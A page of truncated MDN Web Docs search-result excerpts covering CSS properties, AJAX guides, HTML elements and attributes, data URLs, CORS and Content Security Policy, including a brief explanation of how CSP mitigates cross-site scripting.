lowable type, this means that the percentage resolves to a time and therefore can be used in a calc() expression. valid percentages 50% +50% optional plus sign -50% negative percentages are not valid for all properties that accept percentages invalid percentages 50 % space not allowed between the space and the percentage sign valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not recommended. +0s zero with a leading + and a unit -0ms zero with a leading - and a unit invalid times 0 although unitless zero is allowed for <length>s, it's invalid for <time>s. 12.0 this is a <number>, not a <time>, because it's missing a un...
... specifications specification status comment css values and units module level 4the definition of '<time-percentage>' in that specification. editor's draft css values and units module level 3the definition of '<time-percentage>' in that specification. ...
transition-delay - CSS: Cascading Style Sheets
y specifies the duration to wait before starting a property's transition effect when its value changes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the delay may be zero, positive, or negative: a value of 0s (or 0ms) will begin the transition effect immediately. a positive value will delay the start of the transition effect for the given length of time. a negative value will begin the transition effect immediately, and partway through the effect. in other words, the effect will be animated as if it had already been running for the given length of time. you may specify multiple delays, which is useful whe...
...perty property, which acts as a master list. if there are fewer delays specified than in the master list, the list of delay values will be repeated until there are enough. if there are more delays, the list of delay values will be truncated to match the number of properties. in both cases, the css declaration remains valid. syntax /* <time> values */ transition-delay: 3s; transition-delay: 2s, 4ms; /* global values */ transition-delay: inherit; transition-delay: initial; transition-delay: unset; values <time> denotes the amount of time to wait between a property's value changing and the start of the transition effect. formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syn...
visibility - CSS: Cascading Style Sheets
would have occupied is removed (as if display: none were applied to the column/row of the table). however, the size of other rows and columns is still calculated as though the cells in the collapsed row(s) or column(s) are present. this value allows for the fast removal of a row or column from a table without forcing the recalculation of widths and heights for the entire table. collapsed flex items are hidden, and the space they would have occupied is removed. for xul elements, the computed size of the element is always zero, regardless of other styles that would normally affect the size, although margins still take effect. for other elements, collapse is treated the same as hidden. accessibility concerns using a visibility value of hidden on an element will remove it from the accessib...
... css level 2 (revision 1)the definition of 'visibility' in that specification. recommendation initial definition. ...
white-space - CSS: Cascading Style Sheets
the white-space css property sets how white space inside an element is handled. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: to make words break within themselves, use overflow-wrap, word-break, or hyphens instead. syntax /* keyword values */ white-space: normal; white-space: nowrap; white-space: pre; white-space: pre-wrap; white-space: pre-line; white-space: break-spaces; /* global values */ white-space: inherit; white-space: initial; white-space: unset; the white-space property is specified as a single keyword chosen from the list of values below. values normal sequences of white space are c...
...n voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> result specifications specification status comment css text module level 3the definition of 'white-space' in that specification. working draft precisely defines the breaking algorithms. css level 2 (revision 1)the definition of 'white-space' in that specification. recommendation initial definition. ...
will-change - CSS: Cascading Style Sheets
operty hints to browsers how an element is expected to change. browsers may set up optimizations before an element is actually changed. these kinds of optimizations can increase the responsiveness of a page by doing potentially expensive work before they are actually required. important: will-change is intended to be used as a last resort, in order to try to deal with existing performance problems. it should not be used to anticipate performance problems. /* keyword values */ will-change: auto; will-change: scroll-position; will-change: contents; will-change: transform; /* example of <custom-ident> */ will-change: opacity; /* example of <custom-ident> */ will-change: left, top; /* example of two <animateable-feature> */ /* global values */ will-change: inherit; wi...
...itch will-change on and off using script code before and after the change occurs. don't apply will-change to elements to perform premature optimization. if your page is performing well, don't add the will-change property to elements just to wring out a little more speed. will-change is intended to be used as something of a last resort, in order to try to deal with existing performance problems. it should not be used to anticipate performance problems. excessive use of will-change will result in excessive memory use and will cause more complex rendering to occur as the browser attempts to prepare for the possible change. this will lead to worse performance. give it sufficient time to work. this property is intended as a method for authors to let the user-agent know about propertie...
writing-mode - CSS: Cascading Style Sheets
just to make things look a little better: table { border-collapse:collapse; } td, th { border: 1px black solid; padding: 3px; } th { background-color: lightgray; } .example { height:75px; width:75px; } the css that adjusts the directionality of the content looks like this: .example.text1 span, .example.text1 { writing-mode: horizontal-tb; -webkit-writing-mode: horizontal-tb; -ms-writing-mode: horizontal-tb; } .example.text2 span, .example.text2 { writing-mode: vertical-lr; -webkit-writing-mode: vertical-lr; -ms-writing-mode: vertical-lr; } .example.text3 span, .example.text3 { writing-mode: vertical-rl; -webkit-writing-mode: vertical-rl; -ms-writing-mode: vertical-rl; } .example.text4 span, .example.text4 { writing-mode: sideways-lr; -webkit-writing-mo...
...ontal-tb; } .example.text2 span, .example.text2 { writing-mode: vertical-lr; -webkit-writing-mode: vertical-lr; -ms-writing-mode: vertical-lr; } .example.text3 span, .example.text3 { writing-mode: vertical-rl; -webkit-writing-mode: vertical-rl; -ms-writing-mode: vertical-rl; } .example.text4 span, .example.text4 { writing-mode: sideways-lr; -webkit-writing-mode: sideways-lr; -ms-writing-mode: sideways-lr; } .example.text5 span, .example.text5 { writing-mode: sideways-rl; -webkit-writing-mode: sideways-rl; -ms-writing-mode: sideways-rl; } result this image shows what the output should look like, in case your browser's support for writing-mode is incomplete: specifications specification status comment css writing modes level 4the...
Community - Developer guides
Web › Guide › AJAX › Community
if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here. ...
...lists, newsgroups, forums, or other communities related to ajax, please link to them here. ...
Getting Started - Developer guides
omputedstring]; echo json_encode($array); for more on dom methods, be sure to check out document object model (dom). simple timed xhr example another simple example follows — here we are loading a text file via xhr, the structure of which is assumed to be like this: time: 312.05 time: 312.07 time: 312.10 time: 312.12 time: 312.14 time: 312.15 once the text file is loaded, we split() the items into an array at each newline character (\n — basically where each line break is in the text file), and then print the complete list of timestamps, and the last timestamp, onto the page. this is repeated every 5 seconds, using a setinterval() call. the idea would be that a server-side script of some kind would continually update the text file with new timestamps, and our xhr code would be used...
... if(timearray[timearray.length-1] === '') { timearray.pop(); } lastdata.textcontent = timearray[timearray.length-1]; } setinterval(fetchdata, 5000); </script> </body> </html> ...
Ajax - Developer guides
Web › Guide › AJAX
documentation getting started this article guides you through the ajax basics and gives you two simple hands-on examples to get you started. using the xmlhttprequest api the xmlhttprequest api is the core of ajax. this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources. it will seem familiar to anyone who has used xmlhttprequest, but this api provides a more powerful and flexible feature set. server-sent events traditionally, a web page has to send a request to the server to receive new ...
...ybuffer, blob, document, json, or string. this article will show some ajax i/o techniques. xml the extensible markup language (xml) is a w3c-recommended general-purpose markup language for creating special-purpose markup languages. it is a simplified subset of sgml, capable of describing many different kinds of data. its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the internet. parsing and serializing xml how to parse an xml document from a string, a file or via javascript and how to serialize xml documents to strings, javascript object trees (jxon) or files. xpath xpath stands for xml path language, it uses a non-xml syntax that provides a flexible way of addressing (pointing to) different parts of an xml document. ...
Block formatting context - Developer guides
s implicitly created by the elements with display: table, table-row, table-row-group, table-header-group, table-footer-group (which is the default for html tables, table rows, table bodies, table headers, and table footers, respectively), or inline-table. block elements where overflow has a value other than visible. display: flow-root. elements with contain: layout, content, or paint. flex items (direct children of the element with display: flex or inline-flex) if they are neither flex nor grid nor table containers themselves. grid items (direct children of the element with display: grid or inline-grid) if they are neither flex nor grid nor table containers themselves. multicol containers (elements where column-count or column-width isn't auto, including elements with column-count: 1).
...-root on the containing block creates a new bfc . with display: flow-root; on the <div>, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the bottom of the element. the value name of flow-root makes sense when you understand you are creating something that acts like the root element (<html> element in browser) in terms of how it creates a new context for the flow layout inside it. html <section> <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> </section> <section> <div class="box" style="overflow:auto"> <div class="float">i am a floated box!</div> <p>i am content inside the <code>overflow:auto</code> con...
Challenge solutions - Developer guides
hia, or burlywood. see css color value for a complete list as well as other ways of specifying colors. how css works dom inspector challenge in domi, click on a strong node. use domi's right-hand pane to find out where the node's color is set to red, and where its appearance is made bolder than normal text. solution in the menu above the right-hand pane, choose css rules. you see two items listed, one that references an internal resource and one that references your stylesheet file. the internal resource defines the font-weight property as bolder; your stylesheet defines the color property as red. cascading and inheritance inherited styles challenge change your stylesheet so that only the red letters are underlined. solution move the declaration for underlining from the ru...
... */ } content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line. solution add this rule to your stylesheet: p:before{ content: url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals from i to v. solution define a rule for list items to use the lower-roman list style: li { list-style: lower-roman; } capital letters challenge change your stylesheet to identify the headings with capital letters in parentheses. solution add a rule to the body element (parent of the headings) to reset a new counter, and one to display and increment the counter on the headings: /* numbered headings */ body {counter-reset: headnum;} ...
Orientation and motion data explained - Developer guides
about coordinate frames a coordinate frame is a system whereby the orientation of the three axes (x, y, and z) are defined in reference to an object. ...
... device is always considered in relation to the standard orientation of the screen; this is the "portrait" orientation on most devices. on a laptop computer, the orientation is considered in relation to the keyboard. if you want to detect changes in device orientation in order to compensate, you can use the orientationchange event. about rotation rotation is described about any given axis in terms of the number of degrees of difference between the device's coordinate frame and the earth coordinate frame, and is measured in degrees. alpha rotation around the z axis -- that is, twisting the device -- causes the alpha rotation angle to change: the alpha angle is 0° when top of the device is pointed directly toward the earth's north pole, and increases as the device is rotated toward the...
XHTML - Developer guides
Web › Guide › HTML › XHTML
/html> in practice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header. ...
...actice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header. ...
Localizations and character encodings - Developer guides
the html specification recommends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used. the <meta> element's charset attribute is used to specify the page's character encoding. it must be used within a <head> block. ...
...obably continue to be iso-8859-2 even though ie has a different fallback encoding.) when in doubt, use windows-1252 as the fallback encoding. specifying the heuristic detection mode the heuristic detection mode is specified by the preference intl.charset.detector in intl.properties. the setting must be left blank for all locales other than russian, ukrainian and japanese. do not under any circumstances specify the "universal" detector. it is not actually universal despite its name! exception for minority languages if the localization is for minority language and the users are typically literate in the majority language of the region and read web content written in the majority language very often, it is appropriate to specify the fallback encoding and the heuristic detection mode to be ...
Parsing and serializing XML - Developer guides
cating xml nodes based on those addresses. creating an xml document using one of the following approaches to create an xml document (which is an instance of document. ...
... you can get html corresponding to the <body> and its descendants with this code: var dochtml = document.documentelement.outerhtml; ...
HTML attribute: rel - HTML: Hypertext Markup Language
Web › HTML › Attributes › rel
wsers may assume that document will be fetched next, and treat it as a resource hint. nofollow relevant to <form>, <a>, and <area>, the nofollow keyword tells search engine spiders to ignore the link relationship. the nofollow relationship may indicate the current document's owner does not endorse the referenced document. it is often included by search engine optimizers pretending their link farms are not spam pages. noopener relevant to <form>, <a>, and <area>, creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those to begin with (i.e., has an appropriate target attribute value). in other words, it makes the link behave as if window.opener were null and target="_parent" were set. this is the opposite of opener. nor...
...plorer. stylesheet valid for the <link> element, it imports an external resource to be used as a stylesheet. the type attribute is not needed as it's a text/css stylesheet, as that is the default value. if it's not a stylesheet of type text/css it is best to declare the type. while this attribute defines the link as being a stylesheet, the interaction with other attributes and other keyterms within the rel value impact whether the stylesheet is downloaded and / or used. when used with the alternate keyword, it defines an alternative style sheet. in this case, include a non-empty title. the external stylesheet will not be used or even downloaded if the media does not match the value of the media attribute. requires the use of the cors protocol for cross-origin fetching. tag ...
HTML attribute reference - HTML: Hypertext Markup Language
reversed <ol> indicates whether the list should be displayed in a descending order instead of a ascending. rows <textarea> defines the number of rows in a text area. rowspan <td>, <th> defines the number of rows a table cell should span over. sandbox <iframe> stops a document loaded in an iframe from using certain features (such as submitting forms or opening new windows). scope <th> defines the cells that the header test (defined in the th element) relates to. scoped <style> selected <option> defines a value which will be selected on page load. shape <a>, <area> size <input>, <select> defines the width of the element (in pixels). if the element's type attribute is...
...es restrictions on the allowed values of boolean attributes: if the attribute is present, its value must either be the empty string (equivalently, the attribute may have an unassigned value), or a value that is an ascii case-insensitive match for the attribute’s canonical name, with no leading or trailing whitespace. the following examples are valid ways to mark up a boolean attribute: <div itemscope> this is valid html but invalid xml. </div> <div itemscope=itemscope> this is also valid html but invalid xml. </div> <div itemscope=""> this is valid html and also valid xml. </div> <div itemscope="itemscope"> this is also valid html and xml, but perhaps a bit verbose. </div> to be clear, the values "true" and "false" are not allowed on boolean attributes. to represent a false value, the at...
<a>: The Anchor element - HTML: Hypertext Markup Language
Web › HTML › Element › a
thout a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename. / and \ characters are converted to underscores (_). filesystems may forbid other characters in filenames, so browsers will adjust the suggested name if necessary. notes: download only works for same-origin urls, or the blob: and data: schemes. if content-disposition has a different filename than download, the header takes priority. (if content-disposition: inline, firefox prefers the header while chrome prefers download.) href the url tha...
...heme: <a href="mailto:nowhere@mozilla.org">send email to nowhere</a> for details about mailto: urls, such as including a subject or body, see email links or rfc 6068. linking to telephone numbers <a href="tel:+49.157.0156">+49 157 0156</a> <a href="tel:+1(555)5309">(555) 5309</a> tel: link behavior varies with device capabilities: cellular devices autodial the number. most operating systems have programs that can make calls, like skype or facetime. websites can make phone calls with registerprotocolhandler, such as web.skype.com. other behaviors include saving the number to contacts, or sending the number to another device. see rfc 3966 for syntax, additional features, and other details about the tel: url scheme. using the download attribute to save a <canvas> as a png to save...
<acronym> - HTML: Hypertext Markup Language
Web › HTML › Element › acronym
on. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in new websites. see also the <abbr> html element ...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
Web › HTML › Element › audio
cification for more information. in safari, you can use x-webkit-airplay="deny" as a fallback. duration read only a double-precision floating-point value which indicates the duration (total length) of the audio in seconds, on the media's timeline. if no media is present on the element, or the media is not valid, the returned value is nan. if the media has no known end (such as for live streams of unknown duration, web radio, media incoming from webrtc, and so forth), this value is +infinity. loop a boolean attribute: if specified, the audio player will automatically seek back to the start upon reaching the end of the audio. muted a boolean attribute that indicates whether the audio will be initially silenced. its default value is false. preload this enumerated attribute is intend...
... controls using javascript and the htmlmediaelement api. to allow precise control over your audio content, htmlmediaelements fire many different events. this also provides a way to monitor the audio's fetching process so you can watch for errors or detect when enough is available to begin to play or manipulate it. you can also use the web audio api to directly generate and manipulate audio streams from javascript code rather than streaming pre-existing audio files. <audio> elements can't have subtitles or captions associated with them in the same way that <video> elements can. see webvtt and audio by ian devlin for some useful information and workarounds. a good general source of information on using html <audio> is the video and audio content beginner's tutorial. styling with css the...
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › content
defined by any specifications. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 33 — 59disabled no support 33 — 59disabled disabled from version 33 until version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true). ...
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › element
ements but it has been removed. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.d...
<input type="button"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › button
project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons. given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images. value a domstring used as the button's label events click supported common attributes type, and value idl attributes value methods none value an <input type="button"> elements' value attribute contains a domstring that is used as the button's label. <input type="button" value="click me"> if you don't specify a value, you get an empty button: <inp...
...to make buttons do anything, you have to write javascript code to do the work. ...
<input type="hidden"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › hidden
currently being ordered or edited, or a unique security token. hidden inputs are completely invisible in the rendered page, and there is no way to make it visible in the page's content. note: there is a live example below the following line of code — if it is working correctly, you should see nothing! <input id="prodid" name="prodid" type="hidden" value="xm234jq"> value a domstring representing the value of the hidden data you want to pass back to the server. events none. supported common attributes autocomplete idl attributes value methods none. note: the input and change events do not apply to this input type. hidden inputs cannot be focused even using javascript (e.g. hiddeninput.focus()). value the <input> ...
...hidden data you want to pass back to the server. events none. supported common attributes autocomplete idl attributes value methods none. note: the input and change events do not apply to this input type. hidden inputs cannot be focused even using javascript (e.g. hiddeninput.focus()). value the <input> element's value attribute holds a domstring that contains the hidden data you want to include when the form is submitted to the server. this specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools. important: while the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "view ...
<input type="text"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › text
<input> elements of type text create basic single-line text fields. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the text contained in the text field. events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange(). value the value attribute is a domstring that contains the current value of the text entered into the text field. you can retrieve this usi...
...ser begins to enter text into the field (or whenever the field has a value set programmatically by setting its value attribute. physical input element size the physical size of the input box can be controlled using the size attribute. with it, you can specify the number of characters the text input can display at a time. this affects the width of the element, letting you specify the width in terms of characters rather than pixels. in this example, for instance, the input is 30 characters wide: <form> <div> <label for="uname">choose a username: </label> <input type="text" id="uname" name="name" placeholder="lower case, all one word" size="30"> </div> <div> <button>submit</button> </div> </form> validation <input> elements of type text have no a...
<li> - HTML: Hypertext Markup Language
Web › HTML › Element › li
in ordered lists, they are usually displayed with an ascending counter on the left, such as a number or letter. the source for this interactive example is stored in a github repository. ...
... none, presentation, radio, separator, tab, treeitem dom interface htmllielement attributes this element includes the global attributes. value this integer attribute indicates the current ordinal value of the list item as defined by the <ol> element. the only allowed value for this attribute is a number, even if the list is displayed with roman numerals or letters. list items that follow this one continue numbering from the value set. the value attribute has no meaning for unordered lists (<ul>) or for menus (<menu>). note: this attribute was deprecated in html4, but reintroduced in html5. type this character attribute indicates the numbering type: a: lowercase letters a: uppercase letters i: lowercase roman numerals i: uppercase roman numerals 1: n...
<listing> - HTML: Hypertext Markup Language
Web › HTML › Element › listing
nt interface for this element. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. see also the <pre> and <code> elements to be used instead. the <plaintext> and <xmp> ele...
<menu> - HTML: Hypertext Markup Language
Web › HTML › Element › menu
toolbar state, which represents a toolbar consisting of a series of commands for user interaction. this might be in the form of an unordered list of <li> elements, or, if the element has no <li> element children, flow content describing available commands. this value is the default if the attribute is missing. usage notes the <menu> and <ul> elements both represent an unordered list of items. the key difference is that <ul> primarily contains items for display, whilst <menu> is intended for interactive items, to act on. an html menu can be used to create context menus (typically activated by right-clicking another element) or toolbars. context menus consist of a <menu> element which contains <menuitem> elements for each selectable option in the menu, <menu> elements for submenus wi...
...r separator lines to break up the menu's content into sections. context menus are then attached to the element they're activated from using either the associated element's contextmenu attribute or, for button-activated menus attached to <button> elements, the menu attribute. toolbar menus consist of a <menu> element whose content is described in one of two ways: either as an unordered list of items represented by <li> elements (each representing a command or option the user can utilize), or (if there are no <li> elements), flow content describing the available commands and options. this element was deprecated in html4, but reintroduced in html5.1 and the html living standard. this document describes the current firefox implementation. type 'list' is likely to change to 'toolbar' according ...
<menuitem> - HTML: Hypertext Markup Language
Web › HTML › Element › menuitem
gh a popup menu. this includes context menus, as well as menus that might be attached to a menu button. a command can either be defined explicitly, with a textual label and optional icon to describe its appearance, or alternatively as an indirect command whose behavior is defined by a separate element. commands can also optionally include a checkbox or be grouped to share radio buttons. (menu items for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.) content categories none. permitted content none, it is an empty element. tag omission must have a start tag and must not have an end tag. permitted parents the <menu> element, where that element is in the popup men...
... checked, disabled, icon, label, radiogroup or type. default this boolean attribute indicates use of the same command as the menu's subject element (such as a button or input). disabled boolean attribute which indicates that the command is not available in the current state. note that disabled is distinct from hidden; the disabled attribute is appropriate in any context where a change in circumstances might render the command relevant. icon image url, used to provide a picture to represent the command. label the name of the command as shown to the user. required when a command attribute is not present. radiogroup this attribute specifies the name of a group of commands to be toggled as radio buttons when selected. may only be used where the type attribute is radio. type this attr...
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › nextid
aft of html, <nextid> is the same as it would take in html 2, finally allowing the use of a name instead of only a number for its attribute value. html "1.m" - version 1 (second release) in the next published draft of html, <nextid> <nextid> can be individually deselected for display with a simple sgml command. html version 2 level 1 this is like the level 2 default but it excludes all the forms elements, i. e. <form>, <input>, <textarea>, <select>, and <option> html version 2 strict level 1 this is like regular level 1 but it also excludes these depreciated elements, along with such constructs as nesting a header (<h*> element) within a link (<a> element) html version 2 level 2 this is the default and includes and permits all html level 2 functions and elements and attributes html ...
... attributes like all other html elements, this element accepts the global attributes. n reference to anchor. example the user enters four section headings into the table of contents (and presumably also writing paragraph material within ...
<sub>: The Subscript element - HTML: Hypertext Markup Language
Web › HTML › Element › sub
sub or, to more precisely control the baseline shift, vertical-align: -25%. appropriate use cases for <sub> include (but aren't necessarily limited to): marking up footnote numbers. see footnote numbers for an example. marking up the subscript in mathematical variable numbers (although you may also consider using a mathml formula for this). see variable subscripts. denoting the number of atoms of a given element within a chemical formula (such as every developer's best friend, c8h10n4o2, otherwise known as "caffeine"). see chemical formulas. examples footnote numbers traditional footnotes are denoted using numbers which are rendered in subscript. this is a common use case for <sub>: <p>according to the computations by nakamura, johnson, and mason<sub>1</sub> this will result in th...
... related to the same concept (such as distances along the same axis) are represented using the same variable name with a subscript following. for example: <p>the horizontal coordinates' positions along the x-axis are represented as <var>x<sub>1</sub></var> ... <var>x<sub>n</sub></var>.</p> the resulting output: chemical formulas when writing a chemical formula, such as h20, the number of atoms of a given element within the described molecule is represented using a subscripted number; in the case of water, the subscripted "2" indicates that there are two atoms of hydrogen in the molecule. another example: <p>almost every developer's favorite molecule is c<sub>8</sub>h<sub>10</sub>n<sub>4</sub>o<sub>2</sub>, which is commonly known as "caffeine."</p> the output: specifications ...
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
Web › HTML › Element › u
t as having some form of non-textual annotation applied. be careful to avoid using the <u> element with its default styling (of underlined text) in such a way as to be confused with a hyperlink, which is also underlined by default. use cases valid use cases for the <u> element include annotating spelling errors, applying a proper name mark to denote proper names in chinese text, and other forms of annotation. you should not use <u> to simply underline text for presentation purposes, or to denote titles of books. other elements to consider using in most cases, you should use an element other than <u>, such as: <em> to denote stress emphasis <b> to draw attention to text <mark> to mark key words or phrases <strong> to indicate that text has strong importance <cite> to mark the t...
...for presentation purposes, or to denote titles of books. other elements to consider using in most cases, you should use an element other than <u>, such as: <em> to denote stress emphasis <b> to draw attention to text <mark> to mark key words or phrases <strong> to indicate that text has strong importance <cite> to mark the titles of books or other publications <i> to denote technical terms, transliterations, thoughts, or names of vessels in western texts to provide textual annotations (as opposed to the non-textual annotations created with <u>), use the <ruby> element. to apply an underlined appearance without any semantic meaning, use the text-decoration property's value underline. examples indicating a spelling error this example uses the <u> element and some css to display...
accesskey - HTML: Hypertext Markup Language
pository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. however, this does not work in most browsers. ie/edge uses the first one it supports without problems, provided there are no conflicts with other commands. the way to activate the accesskey depends on the browser and its platform: windows linux mac firefox alt + shift + key on firefox 57 or newer: control + option + key or control + alt + key on firefox 14 or newer: control + alt + key on firefox 13 or older: control + key internet explorer ...
...an conflict with a system or browser keyboard shortcut, or assistive technology functionality. what may work for one combination of operating system, assistive technology, and browser may not work with other combinations. certain accesskey values may not be present on certain keyboards, especially when internationalization is a concern. so adapting to specific languages could cause further problems. accesskey values that rely on numbers may be confusing to individuals experiencing cognitive concerns, where the number doesn't have a logical association with the functionality it triggers. informing the user that accesskeys are present, so that they are aware of the functionality. if the system lacks a method of notifying the user about this feature, the user might accidentally activate acc...
Link types - HTML: Hypertext Markup Language
urce outside the site of the current page; that is, following the link will make the user leave the site. <a>, <area>, <form> <link> first indicates that the hyperlink leads to the first resource of the sequence the current page is in. note: other link types related to linking resources in the same sequence are last, prev, next. although recognized, the synonyms begin and start are incorrect and must be avoided. <a>, <area>, <link> <form> help if the element is <a> or <area>, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants. if the element is <link> it indicates that the hyperlink leads to a resource giving further help about the page as a whole.
...ecially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the window.opener property (see about rel=noopener for more details), while still providing the referer http header (unless noreferrer is used as well). note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab. <a>, <area>, <form> <link> noreferrer prevents the browser, when navigating to another page, to send this page address, or any other value, as referrer via the referer: http header. (in firefox, before firefox 37, this worked only in links found in pages. links clicked in the ui, like "open in a new tab" via the context...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
means that the browser will preload the myscript.js file, but not actually use it yet. to use it, you could do this: var preloadedscript = document.createelement("script"); preloadedscript.src = "myscript.js"; document.body.appendchild(preloadedscript); this is useful when you want to preload a script, but then defer execution until exactly when you need it. other resource preloading mechanisms other preloading features exist, but none are quite as fit for purpose as <link rel="preload">: <link rel="prefetch"> has been supported in browsers for a long time, but it is intended for prefetching resources that will be used in the next navigation/page load (e.g. when you go to the next page). this is fine, but isn't useful for the current page! in addition, browsers will give prefetch re...
...er"> renders a specified webpage in the background, speeding up its load if the user navigates to it. because of the potential to waste users bandwidth, chrome treats prerender as a nostate prefetch instead. <link rel="subresource"> was supported in chrome a while ago, and was intended to tackle the same issue as preload, but it had a problem: there was no way to work out a priority for the items (as didn't exist back then), so they all got fetched with fairly low priority. there are a number of script-based resource loaders out there, but they don't have any power over the browser's fetch prioritization queue, and are subject to much the same performance problems. specifications specification status comment preloadthe definition of 'preload' in that specif...
Data URLs - HTTP
by translating it into a radix-64 representation. by consisting only in ascii characters, base64 strings are generally url-safe, and that's why they can be used to encode data in data urls. encoding in javascript the web apis have native methods to encode or decode to base64: base64 encoding and decoding. encoding on a unix system base64 encoding of a file or string on linux and mac os x systems can be achieved using the command-line base64 (or, as an alternative, the uuencode utility with -m argument). echo -n hello|base64 # outputs to console: agvsbg8= echo -n hello>a.txt base64 a.txt # outputs to console: agvsbg8= base64 a.txt>b.txt # outputs to file b.txt: agvsbg8= encoding on microsoft windows encoding on windows can be done through powershell or some dedicated tool. it can ev...
...e done through powershell or some dedicated tool. it can even be done via bash base64 utility (see section encoding on a unix system) if wsl is activated. [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here common problems this section describes problems that commonly occur when creating and using data urls. data:text/html,lots of text...<p><a name%3d"bottom">bottom</a>?arg=val this represents an html resource whose contents are: lots of text...<p><a name="bottom">bottom</a>?arg=val syntax the format for data urls is very simple, but it's easy to forget to put a comma before the "data" segment, or to inco...
Cross-Origin Resource Sharing (CORS) - HTTP
Web › HTTP › CORS
because they’re not part of the spec. for example, suppose web content at https://foo.example wishes to invoke content on domain https://bar.other. ...
...ifies the server as part of a preflight request that when the actual request is sent, it will be sent with a post request method. the access-control-request-headers header notifies the server that when the actual request is sent, it will be sent with a x-pingother and content-type custom headers. the server now has an opportunity to determine whether it wishes to accept a request under these circumstances. lines 13 - 22 above are the response that the server sends back indicating that the request method (post) and request headers (x-pingother) are acceptable. in particular, let's look at lines 16-19: access-control-allow-origin: http://foo.example access-control-allow-methods: post, get, options access-control-allow-headers: x-pingother, content-type access-control-max-age: 86400 the serv...
Content Security Policy (CSP) - HTTP
Web › HTTP › CSP
nt="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scripting a primary goal of csp is to mitigate and report xss attacks. xss attacks exploit the browser's trust of the content received from the server. malicious scripts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming from where it seems to be coming from. csp makes it possible for server administrators to reduce or eliminate the vectors by which xss can occur by specifying the domains that the browser should consider to be valid sources of executable scripts. a csp compatible browser will then only execute scripts loaded in source files received from those allowlisted domains, ignoring all other script (including inline scripts...
...cription of the default-src directive). a policy needs to include a default-src or script-src directive to prevent inline scripts from running, as well as blocking the use of eval(). a policy needs to include a default-src or style-src directive to restrict inline styles from being applied from a <style> element or a style attribute. there are specific directives for a wide variety of types of items, so that each type can have its own policy, including fonts, frames, images, audio and video media, scripts, and workers. examples: common use cases this section provides examples of some common security policy scenarios. example 1 a web site administrator wants all content to come from the site's own origin (this excludes subdomains.) content-security-policy: default-src 'self' example 2 ...
Connection management in HTTP/1.x - HTTP
